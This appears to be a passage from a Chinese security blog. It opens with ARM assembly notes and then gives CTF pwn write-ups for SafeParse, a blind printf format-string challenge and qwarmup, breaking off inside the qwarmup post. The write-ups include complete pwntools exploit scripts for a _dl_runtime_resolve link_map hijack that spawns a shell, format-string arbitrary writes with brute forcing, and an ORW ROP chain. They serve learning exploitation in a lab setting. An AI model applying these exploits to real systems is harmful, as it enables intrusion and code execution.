LS	小于等于（无符号）	(C==0) \	\	(Z==0)
MI	负数	N==1
PL	正数或零	N==0
AL	True	–
NV	False	–
VS	有符号溢出	V==1
VC	无符号溢出	V==0

Thumb 条件执行

ARM 存在多种允许条件执行的 Thumb 版本，某些 ARM 处理器版本支持“IT”指令，该指令允许在 Thumb 状态下有条件地执行最多 4 条指令

1	IT{x{y{z}}} cond

cond 指定 IT 块中第一条指令的条件
x 指定 IT 块中第二条指令的条件开关
y 指定 IT 块中第三条指令的条件开关
z 指定 IT 块中第四条指令的条件开关

IT 指令的结构是 “IF-Then-(Else)”，语法是两个字母 T 和 E 的构造：

IT 指的是 If-Then（下一个指令是有条件的）
ITT 指的是 If-Then-Then（接下来的2条指令是有条件的）
ITE 指的是 If-Then-Else（接下来的2条指令是有条件的）
ITTE 指的是 If-Then-Then-Else（接下来的3个指令是有条件的）
ITTEE 指的是 If-Then-Then-Else-Else（接下来的4个指令是有条件的）

IT 块内的每条指令都必须指定一个相同或逻辑相反的条件后缀：

如果使用 ITE，则第一条和第二条指令 (If-Then) 必须具有相同的条件后缀，第三条指令 (Else) 必须具有前两条指令的逻辑反比
以下是 ARM 参考手册中的一些示例，其中说明了此逻辑：

ITTE   NE           ; Next 3 instructions are conditional
ANDNE  R0, R0, R1   ; ANDNE does not update condition flags
ADDSNE R2, R2, #1   ; ADDSNE updates condition flags
MOVEQ  R2, R3       ; Conditional move

ITE    GT           ; Next 2 instructions are conditional
ADDGT  R1, R0, #55  ; Conditional addition in case the GT is true
ADDLE  R1, R0, #48  ; Conditional addition in case the GT is not true

ITTEE  EQ           ; Next 4 instructions are conditional
MOVEQ  R0, R1       ; Conditional MOV
ADDEQ  R2, R2, #10  ; Conditional ADD
ANDNE  R3, R3, #1   ; Conditional AND
BNE.W  dloop        ; Branch instruction can only be used in the last instruction of an IT block

跳转&分支

分支（又名Jumps）允许我们跳转到另一个代码段，当我们需要跳过（或重复）代码块或跳转到特定函数时，这很有用

这种用例的最佳示例是 IF 和 Loop

有三种类型的分支指令：

分支（B）
- 简单跳转到函数
分支链接（BL）
- 在 LR 中保存（PC+4）并跳转到功能
分支交换（BX）和分支链路交换（BLX）
- 与 B/BL 交换指令集相同（ARM <-> Thumb）
- 需要寄存器作为第一个操作数：BX/BLX [reg]
BX/BLX 用于将指令集从 ARM 交换到 Thumb，示例如下：

.text
.global _start

_start:
     .code 32         @ ARM mode
     add r2, pc, #1   @ put PC+1 into R2
     bx r2            @ branch + exchange to R2

    .code 16          @ Thumb mode
     mov r0, #1

这里的诀窍是获取实际 PC 的当前值，将其增加“1”，将结果存储到寄存器，然后执行 BX/BLX [reg]
add r2, pc, #1：简单地获取有效的PC地址（即当前PC寄存器的值+8 -> 0x805C）并为其添加“1”（0x805C + 1 = 0x805D）

栈和函数

栈

一般来说，堆栈是程序/进程中的内存区域，这部分内存是在创建进程时分配的

我们使用 Stack 来存储临时数据，例如某些函数的局部变量，帮助我们在函数之间转换的环境变量等
我们使用 PUSH 和 POP 指令与堆栈进行交互，如 PUSH 和 POP（这是其他一些内存相关指令的别名，而不是实际指令，但出于简单起见，我们使用 PUSH 和 POP）

首先，当我们说 Stack 增长时，我们的意思是一个项目（32位数据）被放在 Stack 上，堆栈可以向上增长（当堆栈以降序方式实现时）或向下增长（当堆栈以上升方式实现时），下一条（32位）信息的实际位置由堆栈指针定义，或者确切地说，由存储在SP寄存器中的内存地址定义

栈地址的增长方向：

向高地址增长的栈称为 递增栈（Descendent Stack）
向低地址增长的栈称为 递减栈（Acendant Stack）

作为不同 Stack 实现的摘要，我们可以使用下表，其中描述了在不同情况下使用哪些存储多个/加载多个指令：

堆栈类型	Store	Load
完全降序	STMFD （STMDB，Decrement Before）	LDMFD（LDM，Increment after）
完全升序	STMFA （STMIB，Increment Before）	LDMFA （LDMDA，Decrement After）
空降序	STMED （STMDA，Decrement After）	LDMED （LDMIB，Increment Before）
空升序	STMEA（STM，Increment after）	LDMEA （LDMDB，Decrement Before）

函数

要理解 ARM 中的函数，我们首先需要熟悉函数的结构部分，它们是：

Prologue（序幕）
Body（主体）
Epilogue（结语）

Prologue（序幕）的目的是保存程序的先前状态（通过将 LR 和 R11 的值存储到堆栈上），并为函数的局部变量设置堆栈（虽然序言的实现可能因使用的编译器而异，但通常这是通过使用 PUSH / ADD / SUB 指令来完成的）

1
2
3

push {r11, lr} 		/* 序幕的开始,将帧指针和LR保存到堆栈 */
add r11, sp, #0 	/* 设置栈底帧 */
sub sp, sp, #16 	/* 序幕结束,在堆栈上分配一些缓冲区(这也为堆栈帧分配空间) */

Body（主体） 部分通常负责某种独特而特定的任务，这部分函数可能包含各种指令，分支（跳转）到其他函数等，函数的 body 部分的示例可以像以下几条指令一样简单：

1
2
3

mov r0, #1 			/* 设置局部变量 (a=1)。 这也用作设置函数 max */ 的第一个参数
mov r1, #2 			/* 设置局部变量 (b=2)。 这也用作设置函数 max */ 的第二个参数
bl max 				/* 调用/分支到函数 max */

上面的示例代码显示了一个函数的片段，该函数设置局部变量，然后分支到另一个函数
这段代码还向我们展示了函数的参数（在本例中为函数 max）是通过寄存器传递的
在某些情况下，当有超过4个参数要传递时，我们会另外使用 Stack 来存储剩余的参数
还值得一提的是，函数的结果通过寄存器 R0 返回，因此，无论函数（max）的结果是什么，我们应该能够在从函数返回后立即从寄存器 R0 中获取它
需要指出的另一件事是，在某些情况下，结果的长度可能是64位（超过32位寄存器的大小）

函数的最后一部分，即 Epilogue（结语），用于将程序的状态恢复到其初始状态（在函数调用之前），以便它可以从它离开的位置继续，为此，我们需要重新调整堆栈指针（这是通过使用帧指针寄存器 R11 作为参考并执行添加或子操作来完成的）

重新调整堆栈指针后，通过将以前（在序幕中）保存的寄存器值从堆栈中弹出到相应的寄存器中来恢复它们，根据函数类型，POP 指令可能是 Epilogue 的最终指令（但是，可能是在恢复寄存器值后，我们使用 BX 指令离开函数），Epilogue 的示例如下所示：

1
2

sub sp, r11, #0 		/* 结尾的开始,重新调整堆栈指针 */
pop {r11, pc} 			/* 结尾,从堆栈中恢复帧指针,通过直接加载到PC中跳转到以前保存的LR,函数的堆栈帧最终在这一步被销毁 */

所以现在我们知道：

Prologue（序幕）为功能设置环境
Body（主体）实现函数的逻辑并将结果存储到 R0
Epilogue（结语）还原状态，以便程序可以从调用函数之前离开的位置恢复

参考：编写 ARM 程序集|阿泽里亚实验室

dl_runtime_resolve attack

Posted on 2022-08-26 In Pwn train 4.5k 4 mins.

SafeParse

SafeParse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb35942986f3f07abe813fd1a86be5920f5b6c7e, for GNU/Linux 3.2.0, stripped
[*] '/home/yhellow/桌面/pwn_SafeParse/SafeParse'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位，全开，开启延迟绑定

漏洞分析

1 2	data_size = input_num(); chunk = (int )malloc(4 data_size); // 整数溢出

这里有一个整数溢出（这个漏洞点和初赛 newest_note 的非预期解很像）

直接让 data_size 为 0x40040000，就可以让这个存堆指针的堆申请到 libc 上面

1	void *malloc(size_t size);

注意：这里的 size_t 代表的是 unsorted int（4字节）

溢出过后，“data_size” 会特别大，但是 mmap 申请的 chunk 又比较小，以下的这个检查就形同虚设了：

1	if ( index >= data_size )

入侵思路

然后就可以实现 libc 任意写，由于没法 leak，我们只能打 _dl_runtime_resolve

DT_STRTAB 在 elf 中，由于没有泄露任何地址，目前是通过偏移进行任意地址写，这里找到 DT_DEBUG 这个表是指向 libc 地址（我们可以控制），可以通过改写最低位：

把 link_map->l_info[DT_STRTAB] 低位覆盖为 link_map->l_info[DT_DEBUG] 这样程序就会误以为 DT_DEBUG 是 DT_STRTAB（这下放入 _dl_lookup_symbol_x 的第二个参数就会变成 DT_DEBUG）
于是我们提前在 DT_DEBUG+offset（原来是 DT_STRTAB+offset）的位置写上 system
提前在 chunk 中写入 /bin/sh
最后在执行 free(chunk) 时就会 get shell

低位覆盖 link_map->l_info[DT_STRTAB]，欺骗 _dl_fixup 函数：

pwndbg> telescope 0x7f3b00ba2000+0x324180+0x10
00:0000│ rsi r10 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f
01:0008│         0x7f3b00ec6198 ◂— 0x6165720000ec6730
02:0010│         0x7f3b00ec61a0 ◂— 0x564f9b540064 /* 'd' */
03:0018│         0x7f3b00ec61a8 —▸ 0x7f3b00ec6740 —▸ 0x7ffe633fe000 ◂— jg     0x7ffe633fe047
04:0020│         0x7f3b00ec61b0 ◂— 0x0
05:0028│         0x7f3b00ec61b8 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f
06:0030│         0x7f3b00ec61c0 ◂— 0x0
07:0038│         0x7f3b00ec61c8 —▸ 0x7f3b00ec6718 —▸ 0x7f3b00ec6730 ◂— 0x0
pwndbg> 
08:0040│       0x7f3b00ec61d0 ◂— 0x0
09:0048│       0x7f3b00ec61d8 —▸ 0x564f9b545de0 ◂— 0x1
0a:0050│       0x7f3b00ec61e0 —▸ 0x564f9b545ec0 ◂— 0x2
0b:0058│       0x7f3b00ec61e8 —▸ 0x564f9b545eb0 ◂— 0x3
0c:0060│ rdi-1 0x7f3b00ec61f0 ◂— 0x6d657473797300
0d:0068│       0x7f3b00ec61f8 —▸ 0x564f9b545ea0 ◂— 0x15 /* 低位覆盖"\xa0" */
0e:0070│       0x7f3b00ec6200 —▸ 0x564f9b545e70 ◂— 0x6
0f:0078│       0x7f3b00ec6208 —▸ 0x564f9b545ef0 ◂— 0x7

_dl_fixup->_dl_lookup_symbol_x 执行前：

► 0x7f3b00ea8192 <_dl_fixup+210>    call   _dl_lookup_symbol_x                <_dl_lookup_symbol_x>
       rdi: 0x7f3b00ec61f1 ◂— 0xa0006d6574737973 /* 'system'(free->system) */
       rsi: 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f
       rdx: 0x7ffe633dbfa8 —▸ 0x564f9b547018 ◂— 0x1200000091
       rcx: 0x7f3b00ec64f8 —▸ 0x7f3b00ec6450 —▸ 0x7f3b00e95590 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— ...
       r8: 0x7f3b00e955e0 —▸ 0x564f9b5480a0 ◂— 'GLIBC_2.2.5'
       r9: 0x1
       arg[6]: 0x1
       arg[7]: 0x0

完整 exp：

from pwn import *

p=process("./SafeParse1")
elf = ELF("./SafeParse1")
libc = ELF("./libc-2.31.so")

cmd = "b *$rebase(0x1620)\n"
#cmd += "b *$rebase(0x15FA)\n"
#gdb.attach(p,cmd)

p.sendlineafter("Size: ",str(0x4000))
p.sendlineafter("Data Size: ",str(0x40040000))

_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdout_offset = _IO_2_1_stdout_+0x101000-0x10

link_map_offset = 0x324190-0x10
r_debug_offset = 0x324160-0x10

success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_))
success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset))
success("link_map_offset >> "+hex(link_map_offset))
success("link_map_offset+0x40+5*0x8 >> "+hex(link_map_offset+0x40+5*0x8))
success("r_debug_offset >> "+hex(r_debug_offset))
success("free_hook >> "+hex(libc.sym["__free_hook"]))

# _IO_2_1_stdout_offset >> 0x2ee690
# link_map_offset >> 0x324180
# link_map_offset+0x40+5*0x8 >> 0x3241e8
# r_debug_offset >> 0x324150 

payload = ",>"*2+"<"*2

payload +=">*>***>***>******>**>**>**"
payload +=">"*36+",>"*2+"<"*38
payload +=">"*15+",>"*2+"<"*17

payload +=">"*38+","+"."
#payload +="/<//</</</<//////<///<///</<"

p.sendlineafter("Code: ",payload)

p.sendafter("Secret Number: ","/bin")
p.sendafter("Secret Number: ","/sh\x00")

p.sendafter("Secret Number: ","\x00sys")
p.sendafter("Secret Number: ","tem\x00")

p.sendafter("Secret Number: ","\x00rea")
p.sendafter("Secret Number: ","d\x00")

p.sendafter("Secret Number: ","\xa0")
p.sendafter("Guess the Number: ",str(1))

p.interactive()

小结：

这个题我看着就像强网杯的 qwarmup，都是任意写 libc，然后打 _dl_runtime_resolve

当时猪脑过载了，就想用 qwarmup 的方法来套这个题，调了半天才发现这个题没有开沙盒，可以直接 get shell（唉）

print盲打印+格式化漏洞模板

Posted on 2022-08-24 Edited on 2023-04-12 In Reappearance 9.6k 9 mins.

one 复现

1	GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31

pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=8024ac0d4b0ace622bc53363057c78623d729080, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位，dynamically，全开

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0008: 0x06 0x00 0x00 0x00000000  return KILL

有沙盒

漏洞分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[2056]; // [rsp+0h] [rbp-810h] BYREF
  unsigned __int64 v5; // [rsp+808h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  memset(s, 0, 0x800uLL);
  printf("gift:%p\n", s);
  login();
  puts("Now, you can't see anything!!!");
  close(1);
  read(0, s, 0x200uLL);
  printf(s); /* fmt */
  return 0;
}

白给 stack_base
明显的格式化字符串漏洞，但是 close(1)

unsigned __int64 login()
{
  char name[16]; // [rsp+0h] [rbp-30h] BYREF
  char password[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(name, 0, 8uLL);
  memset(password, 0, 8uLL);
  printf("username:");
  read(0, name, 8uLL);
  printf("password:");
  read(0, password, 8uLL);
  printf("Hello %s\n", name);
  return __readfsqword(0x28u) ^ v3;
}

写满 name 可以泄露 pro_base，绕过 PIE

入侵思路

我们先介绍一个 pwntools 工具：

1	fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移
第二个参数表示需要利用 %n 写入的数据，采用字典形式
- 将 printf 的 GOT 数据改为 system 函数地址
- 写法为：{printfGOT:systemAddress}
第三个参数表示已经输出的字符个数
第四个参数表示写入方式
- 是按字节（byte->hhn）双字节（short->hn）还是四字节（int->n）
- 默认值是 byte，即按 hhn 写
fmtstr_payload 函数返回的就是 payload

我们断点到 printf 执行处：

1
2
3

► 0x562c1b0674b9    call   printf@plt                <printf@plt>
       format: 0x7fff2a2d31c0 ◂— 'aaaaaaaa'
       vararg: 0x7fff2a2d31c0 ◂— 'aaaaaaaa'

100:0800│     0x7fff2a2d39c0 —▸ 0x7fff2a2d3ac0 ◂— 0x1
101:0808│     0x7fff2a2d39c8 ◂— 0xcf2ec36e5e9ffe00
102:0810│ rbp 0x7fff2a2d39d0 ◂— 0x0
103:0818│     0x7fff2a2d39d8 —▸ 0x7f9168f2f083 (__libc_start_main+243) ◂— mov    edi, eax
104:0820│     0x7fff2a2d39e0 —▸ 0x7f9169164620 (_rtld_global_ro) ◂— 0x50f2700000000
105:0828│     0x7fff2a2d39e8 —▸ 0x7fff2a2d3ac8 —▸ 0x7fff2a2d5317 ◂— 0x4244006e77702f2e /* './pwn' */
106:0830│     0x7fff2a2d39f0 ◂— 0x100000000
107:0838│     0x7fff2a2d39f8 —▸ 0x562c1b06740b ◂— endbr64

如果这里直接覆盖 __libc_start_main+243 的话，会导致程序的栈帧出问题，并且没有什么用（因为每次覆盖都需要一次 fmt，程序循环后又必须要 fmt 才能继续循环）
于是我们瞄准 printf 的内部进行覆盖

在 printf 中，真正执行 “%n” 覆盖的函数是 buffered_vfprintf，调用链如下：

1	printf -> __vfprintf_internal -> buffered_vfprintf

如果我们利用 buffered_vfprintf 来覆盖 __vfprintf_internal 的返回地址为 start_addr，就可以在 printf 函数内部实现循环
我们可以利用 printf 间接任意写来覆盖这里

测试代码如下：

r.recvuntil(":")
stack=int(r.recvline(),16)
success("stack: "+hex(stack))

r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)

r.recvuntil("a"*0x8)
pie=u64(r.recvuntil("\n",drop=True)+p16(0))-0x11a0
success("pie: "+hex(pie))

r.recvline()
r.send(fmtstr_payload(6, {stack-0xe8:pie+0x11a0}).ljust(0x200,"\x00")) # 因为64位程序前6个参数在寄存器中,所以offset设置为'6'

GDB 跟踪：

► 0x7f66e4605d1f <__vfprintf_internal+1215>    call   buffered_vfprintf                <buffered_vfprintf>
       rdi: 0x7f66e477c6a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
       rsi: 0x7ffe04f611d0 ◂— 0x3531256330363125 ('%160c%15')
       rdx: 0x7ffe04f610f0 ◂— 0x3000000008
       rcx: 0x0

修改前：（__vfprintf_internal 的返回地址）

1 2	pwndbg> telescope 0x7ffe04f611d0-0xe8 00:0000│ 0x7ffe04f610e8 —▸ 0x7f66e45f0d3f (printf+175) ◂— mov rcx, qword ptr [rsp + 0x18

修改后：（覆盖为 main_addr）

1 2	pwndbg> telescope 0x7ffe04f611d0-0xe8 00:0000│ 0x7ffe04f610e8 —▸ 0x55669931c1a0 ◂— endbr64

因为程序会 close(1)，所以不能直接用 printf(%p) 来泄露 libc_base，但是在我们用 main 覆盖 __vfprintf_internal 的返回地址后，其参数 _IO_2_1_stdout_ 指针残留在栈上（如果我们直接覆盖 main 的返回地址，就没有这样的效果）

我们可以利用这个指针修改 _IO_2_1_stdout_->fileno 为 “2” 重新获得输出，然后 ORW

pwndbg> telescope 0x7f0e2d3056a0
00:0000│  0x7f0e2d3056a0 (_IO_2_1_stdout_) ◂— 0xfbad28a7
01:0008│  0x7f0e2d3056a8 (_IO_2_1_stdout_+8) —▸ 0x7f0e2d305723 (_IO_2_1_stdout_+131) ◂— 0x3067e0000000000a /* '\n' */
... ↓     6 skipped
08:0040│  0x7f0e2d3056e0 (_IO_2_1_stdout_+64) —▸ 0x7f0e2d305724 (_IO_2_1_stdout_+132) ◂— 0x2d3067e000000000
09:0048│  0x7f0e2d3056e8 (_IO_2_1_stdout_+72) ◂— 0x0
... ↓     3 skipped
0d:0068│  0x7f0e2d305708 (_IO_2_1_stdout_+104) —▸ 0x7f0e2d304980 (_IO_2_1_stdin_) ◂— 0xfbad208b
0e:0070│  0x7f0e2d305710 (_IO_2_1_stdout_+112) ◂— 0x1 /* target */
0f:0078│  0x7f0e2d305718 (_IO_2_1_stdout_+120) ◂— 0xffffffffffffffff

我们需要先把 _IO_2_1_stdout_ 修改为 _IO_2_1_stdout_+112 然后再改 fileno
注意：_IO_2_1_stdout_+112 的倒数第2字节需要爆破，每次都有 1/16 的概率

因为我们只覆盖最后4字节，所以 fmtstr_payload 不能使用，不过我在这里给出一个专门覆盖低4字节的 fmt 模板：

bit=random.randint(1,15)*0x10+"[offset]"
print(hex(bit))
if (bit-0x10<0): 
    bit=bit+0xf0
off=["[last]",bit+"(1)"]
ptr=["[stack]","[stack+1]"]

pre=0
fmt=""
data=""
for i in ptr:
    print(hex(i))

for step in range(2):
    min_num=0xFFFF
    for i in range (len(off)):
        if (off[i]<min_num):
            min_num=off[i]
            min_idx=i
    fmt+="%"+str(min_num-pre)+"c%"+str(step+"[index]")+"$hhn"
    data+=p64(ptr[min_idx])
    off[min_idx]=0xFF
    pre=min_num

payload = fmt.ljust(0x80,"\x00")+data

[last]：目标地址的最后1字节
[offset]：目标地址的倒数第2字节的偏移（bit为倒数第2字节，并且需要爆破）
[stack]：位于 stack 上的指针，指向将要被修改的地址（间接修改）
[index]：格式化字符串的偏移（可以用 fmtarg 命令快速获取）

由于程序需要在覆盖 _IO_2_1_stdout_ 最后两字节的同时，修改 main 的返回地址为 main，所以对这个模板做了些改动：

start=pie+0x11a0
bit=random.randint(1,15)*0x10+0x6
print(hex(bit))
if (bit-0x10<0): 
    bit=bit+0xf0
off=[0x10,bit+1]
ptr=[stack-0x80,stack-0x7F]

tmp=start
for i in range(6):
    off.append(tmp%0x100)
    ptr.append(stack-0x1c8+i)
    tmp=tmp//0x100

pre=0
fmt=""
data=""
for i in ptr:
    print(hex(i))

for step in range(8):
    min_num=0xFFFF
    for i in range (len(off)):
        if (off[i]<min_num):
            min_num=off[i]
            min_idx=i
    fmt+="%"+str(min_num-pre)+"c%"+str(step+22)+"$hhn"
    data+=p64(ptr[min_idx])
    off[min_idx]=0xFF
    pre=min_num

r.send((fmt.ljust(0x80,"\x00")+data).ljust(0x200,"\x00"))

当 1/16 的概率爆破成功后，下一次循环的 fmt 就可以修改 _IO_2_1_stdout_->fileno 为 “2”，然后用 “%p” 就可以泄露出 libc_base

最后就可以通过 buffered_vfprintf 覆盖 printf 的返回地址，把一个特殊的 getget 写入：

1	add rsp,0x98; ret;

看看 printf 返回时的 stack 空间：

1 2	RSP 0x7ffdb7a886f8 —▸ 0x7fb53b3e2242 (__libc_check_standard_fds+82) ◂— add rsp, 0x98 RIP 0x7fb53b41fd56 (printf+198) ◂— ret

pwndbg> telescope 0x7ffdb7a88700+0x98
00:0000│  0x7ffdb7a88798 —▸ 0x5591eb4c0543 ◂— pop    rdi
01:0008│  0x7ffdb7a887a0 —▸ 0x7ffdb7a88780 ◂— 'flag.txt'
02:0010│  0x7ffdb7a887a8 —▸ 0x7fb53b3e401f (__gconv_close_transform+239) ◂— pop    rsi
03:0018│  0x7ffdb7a887b0 ◂— 0x0
04:0020│  0x7ffdb7a887b8 —▸ 0x7fb53b4cbce0 (open64) ◂— endbr64 
05:0028│  0x7ffdb7a887c0 —▸ 0x5591eb4c0543 ◂— pop    rdi
06:0030│  0x7ffdb7a887c8 ◂— 0x1
07:0038│  0x7ffdb7a887d0 —▸ 0x7fb53b3e401f (__gconv_close_transform+239) ◂— pop    rsi

汇编指令 add rsp,0x98; ret; 完美衔接了 ORW 的 ROP 链

完整 exp：

from pwn import*
import random

cmd = "b *$rebase(0x14B9)\n"

def pwn():
    r=process('./pwn')
    context(os="linux",arch="amd64")

    libc=ELF("./libc-2.31.so")
    elf=ELF('./pwn')

    r.recvuntil(":")
    stack=int(r.recvline(),16)
    success("stack: "+hex(stack))

    r.recvuntil(":")
    r.send("a"*0x8)
    r.recvuntil(":")
    r.send("a"*0x8)

    r.recvuntil("a"*0x8)
    pro_base=u64(r.recvuntil("\n",drop=True)+p16(0))-0x11a0
    success("pro_base: "+hex(pro_base))

    r.recvline()
    r.send(fmtstr_payload(6, {stack-0xe8:pro_base+0x11a0}).ljust(0x200,"\x00"))
    r.send("a"*0x8)
    r.send("a"*0x8)

    start=pro_base+0x11a0
    bit=random.randint(1,15)*0x10+0x6
    print(hex(bit))
    if (bit-0x10<0): 
        bit=bit+0xf0
    off=[0x10,bit+1]
    ptr=[stack-0x80,stack-0x7F]

    tmp=start
    for i in range(6):
        off.append(tmp%0x100)
        ptr.append(stack-0x1c8+i)
        tmp=tmp//0x100

    pre=0
    fmt=""
    data=""
    for i in ptr:
        print(hex(i))
    for step in range(8):
        min_num=0xFFFF
        for i in range (len(off)):
            if (off[i]<min_num):
                min_num=off[i]
                min_idx=i
        fmt+="%"+str(min_num-pre)+"c%"+str(step+22)+"$hhn"
        data+=p64(ptr[min_idx])
        off[min_idx]=0xFF
        pre=min_num

    r.send((fmt.ljust(0x80,"\x00")+data).ljust(0x200,"\x00"))
    r.send("a"*0x8)
    r.send("a"*0x8)
    r.send("%2c%334$hhn;%334$p".ljust(0x18)+fmtstr_payload(9, {stack-0x2a8:pro_base+0x11a0}, numbwritten=0x17))

    r.recvuntil(";")
    libc_base=int(r.recv(14),16)-libc.sym["_IO_2_1_stdout_"]-112
    success("libc_base: "+hex(libc_base))

    #gdb.attach(r,cmd)
    add_rsp=libc_base+0x24242
    pop_rax=libc_base+0x36174
    pop_rdi=pro_base+0x1543
    pop_rsi=libc_base+0x2601f
    pop_rdx=libc_base+0x142c92
    open_libc=libc_base+libc.sym["open"]
    read_libc=libc_base+libc.sym["read"]
    write_libc=libc_base+libc.sym["write"]
    bss = pro_base+elf.bss()
    payload=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(open_libc)
    payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)
    payload+=p64(bss)+p64(pop_rdx)+p64(0x50)+p64(read_libc)
    payload+=p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(bss)+p64(write_libc)

    r.send("a"*0x8)
    r.send("a"*0x8)
    r.recvline()
    r.recvline()
    r.send(fmtstr_payload(6, {stack-0xba8:add_rsp}).ljust(0x80,"\x00")+"flag.txt".ljust(0x18,"\x00")+payload)
    r.interactive()

while(True):
    try:
        pwn()
    except:
        success("wrong")

小结：

第一次接触这种 printf 盲打印，学到了

dl_runtime_resolve attack+svcudp_reply控制栈

Posted on 2022-08-23 In Reappearance 23k 21 mins.

qwarmup 复现

1	GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.

➜  qwarmup file qwarmup          
qwarmup: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0ee74cf51da29e8ecc9897c2a2a96b4ce87934be, for GNU/Linux 3.2.0, stripped
➜  qwarmup checksec qwarmup      
[*] '/home/yhellow/桌面/qwarmup/qwarmup'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位，dynamically，开了 NX，开了 PIE，开了 Canary，但是 GOT 可改（启用了延迟绑定）

有沙盒

➜  qwarmup seccomp-tools dump ./qwarmup1 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0011
 0004: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0011
 0005: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0011
 0006: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0011
 0007: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0011
 0008: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0011
 0009: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

只能打 ORW

漏洞分析

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int key; // eax
  char byte; // [rsp+7h] [rbp-19h] BYREF
  __int64 offset; // [rsp+8h] [rbp-18h] BYREF
  _BYTE *chunk; // [rsp+10h] [rbp-10h]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  init_s();
  read(0, &size, 4uLL);
  chunk = malloc(size);
  if ( !chunk )
    _Exit(0);
  do
  {
    offset = 0LL;
    byte = 0;
    read(0, &offset, 8uLL);
    read(0, &byte, 1uLL);
    chunk[offset] = byte;                       // 溢出？
    write(1, "Success!", 8uLL);
    HIWORD(key) = HIWORD(size);                 // 大于0x10000的部分赋值key
    LOWORD(key) = 0;                            // 小于0x10000的部分置空
  }
  while ( !key );
  _Exit(0);
}

题目中会检查 size：
- 如果 size 小于0x10000，可以循环写
- 如果 size 大于0x10000，只能写一次

了解延迟绑定的细节

延迟绑定机制：

启用延迟绑定后，程序不会把库函数的真实地址绑定在 GOT 表中
当程序第一次调用该函数时，会先找到该函数对应的 PLT 表，然后跳转对应的 GOT 表
GOT 表中没有该函数的真实地址，而是会跳转回 PLT 表
在 PLT 表中：先 push 一个偏移（用于确定自身函数），然后在 PLT 表中进入共用的 PLT[0] 表
在 PLT[0] 表中：先 push link_map（为 _dl_fixup 提供信息），然后执行 _dl_runtime_resolve_fxsave 函数
接着使用 _dl_fixup 函数来查找目标在动态链接库中的地址
最后把对应 GOT 表地址修改为库函数的真实地址

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) 接受两个参数，一个“链接映射”和一个“重定位索引”

“链接映射”：将有关 ELF 的所有相关信息包装成一个数据结构 link_map
“重定位索引”：用于确定该函数在 PLT/GOT 表中的位置

结构体 link_map 如下：

struct link_map
{
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;		/* Difference between the address in the ELF
				   file and the addresses in memory.  */
    char *l_name;		/* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;		/* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */

    /* All following members are internal to the dynamic linker.
       They may change without notice.  */

    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;

    /* Number of the namespace this link map belongs to.  */
    Lmid_t l_ns;

    struct libname_list *l_libname;
    /* Indexed pointers to dynamic section.
